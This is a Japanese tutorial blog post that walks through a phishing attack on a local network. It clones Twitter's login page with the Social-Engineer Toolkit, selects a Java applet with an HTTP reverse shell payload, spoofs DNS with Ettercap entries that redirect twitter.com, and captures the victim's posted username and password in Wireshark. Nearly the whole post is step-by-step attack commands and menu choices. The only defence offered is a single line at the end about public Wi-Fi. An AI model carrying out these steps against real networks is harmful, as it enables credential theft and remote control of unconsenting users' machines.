Kali LinuxでWebクローニングを使いログイン情報取得体験

　Kali LinuxでWebサイトのコンテンツをクローニング(コピー)し、偽サイトにターゲットを誘導して、ユーザ名パスワード名取得します。ただあくまでローカルネットワークのみの話です。公衆Wi-fiに接続したりLAN内に悪意を持った人がいない限りは大丈夫です。ただこれを外の世界でやったら法に触れるので、ある要所は書いてないです。自己責任でお願いします。
 　今回Twitterのログイン画面をクローニングします。

## 前提
Kali Linux実行環境があること。
⇒ [Virtual BoxにKali Linuxインストール](https://qiita.com/y-araki-qiita/items/4621a21e9f0d2e38c331)

## Webクローニング

SET(Social Engineering Toolkit)というツールを使います。

```
起動
root@kali:~# setoolkit
```
このような画面が表示されます。
<img width="539" alt="キャプチャ.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/6d53813e-af92-b858-722e-9c42af6e8130.png">


Social-Engineering Attacksを選択。

```
Select from the menu:

    1) Social-Engineering Attacks
    2) Penetration Testing (Fast-Track)
    3) Third Party Modules
    4) Update the Social-Engineer Toolkit
    5) Update SET configuration
    6) Help, Credits, and About

   99) Exit the Social-Engineer Toolkit

set> 1
```

 Website Attackを選択

```
Select from the menu:

    1) Spear-Phishing Attack Vectors
    2) Website Attack Vectors
    3) Infectious Media Generator
    4) Create a Payload and Listener
    5) Mass Mailer Attack
    6) Arduino-Based Attack Vector
    7) Wireless Access Point Attack Vector
    8) QRCode Generator Attack Vector
    9) Powershell Attack Vectors
   10) Third Party Modules

   99) Return back to the main menu.

set> 2
```

 Java Applet Attackを選択

```
   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method
   8) HTA Attack Method

  99) Return to Main Menu

set:webattack>1
```

Site Clonerを選択。

```
   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>2
```

noを選択。

```
set> Are you using NAT/Port Forwarding [yes|no]: no
```

そのままEnter


```
set> IP address or URL (www.ex.com) for the payload listener (LHOST) [172.20.10.4]:
```

SET組み込みのものを選択。

```
1. Make my own self-signed certificate applet.
2. Use the applet built into SET.
3. I have my own code signing certificate or applet.

Enter the number you want to use [1-3]: 2
```

クローンするURLを入力。

````
set:webattack> Enter the url to clone:https://twitter.com/login
```

4を指定。

```
What payload do you want to generate:

  Name:                                       Description:

   1) Meterpreter Memory Injection (DEFAULT)  This will drop a meterpreter payload through powershell injection
   2) Meterpreter Multi-Memory Injection      This will drop multiple Metasploit payloads via powershell injection
   3) SE Toolkit Interactive Shell            Custom interactive reverse toolkit designed for SET
   4) SE Toolkit HTTP Reverse Shell           Purely native HTTP shell with AES encryption support
   5) RATTE HTTP Tunneling Payload            Security bypass payload that will tunnel all comms over HTTP
   6) ShellCodeExec Alphanum Shellcode        This will drop a meterpreter payload through shellcodeexec
   7) Import your own executable              Specify a path for your own executable
   8) Import your own commands.txt            Specify payloads to be sent via command line

set:payloads>4
```

この時点で以下画面になりターゲットの接続を待つ状態となります。
<img width="559" alt="キャプチャ2.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/a6b0387c-cbbc-71f2-cc9b-829360c5f32d.png">



## DNSスプーフィング
　このままではKali LinuxのIPをブラウザで指定しない限り、ターゲットはクローンしたTwitterのページを見ません。そのためEttercapを使ってDNSスプーフィングをします。DNSスプーフィングはローカルネットワークレベルでDNSに影響を与えるものです。
※ただ実はこの設定だけではダメです。あと何が必要かは考えましょう。

etter.dnsの設定

```
vi /etc/ettercap/etter.dns
※最下部でよいので以下記載

twitter.com A ターゲットIP
*.twitter.com A ターゲットIP
www.twitter.com A ターゲットIP
allowed
```

## Wireshark起動
Wiresharkを立ち上げ、キャプチャを開始します。

```
wireshark &
```

## ログイン情報搾取
するとターゲットがtwitter.comに接続した場合、twitterの画面が表示され、Kali Linux側はターゲットのIPが表示されます。

ターゲットは以下Kali Linuxがクローニングしたページでログインしようとしますが、元の画面に戻ってしまいます。

<img width="643" alt="キャプチャ4.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/723c2d27-edc6-3e3e-92dc-d45ca288909c.png">

Wireshark側はターゲットがPOSTした情報をキャプチャすることができるという流れです。

該当キャプチャ右クリック > 追跡 >HTTPストリーム
<img width="608" alt="キャプチャ5.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/f8a39f52-9a15-dc5f-f2d9-43622335d57c.png">

POST内容
<img width="658" alt="キャプチャ6.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/5b72a29b-4e79-f5f4-a203-c007dc837ab7.png">
email%5D=09000000000&session%5Bpassword%5D=test1234
上記ログイン情報が表示されます。

## 対策
自動Wi-fi接続機能を使って公衆Wi-fiに接続しないでください。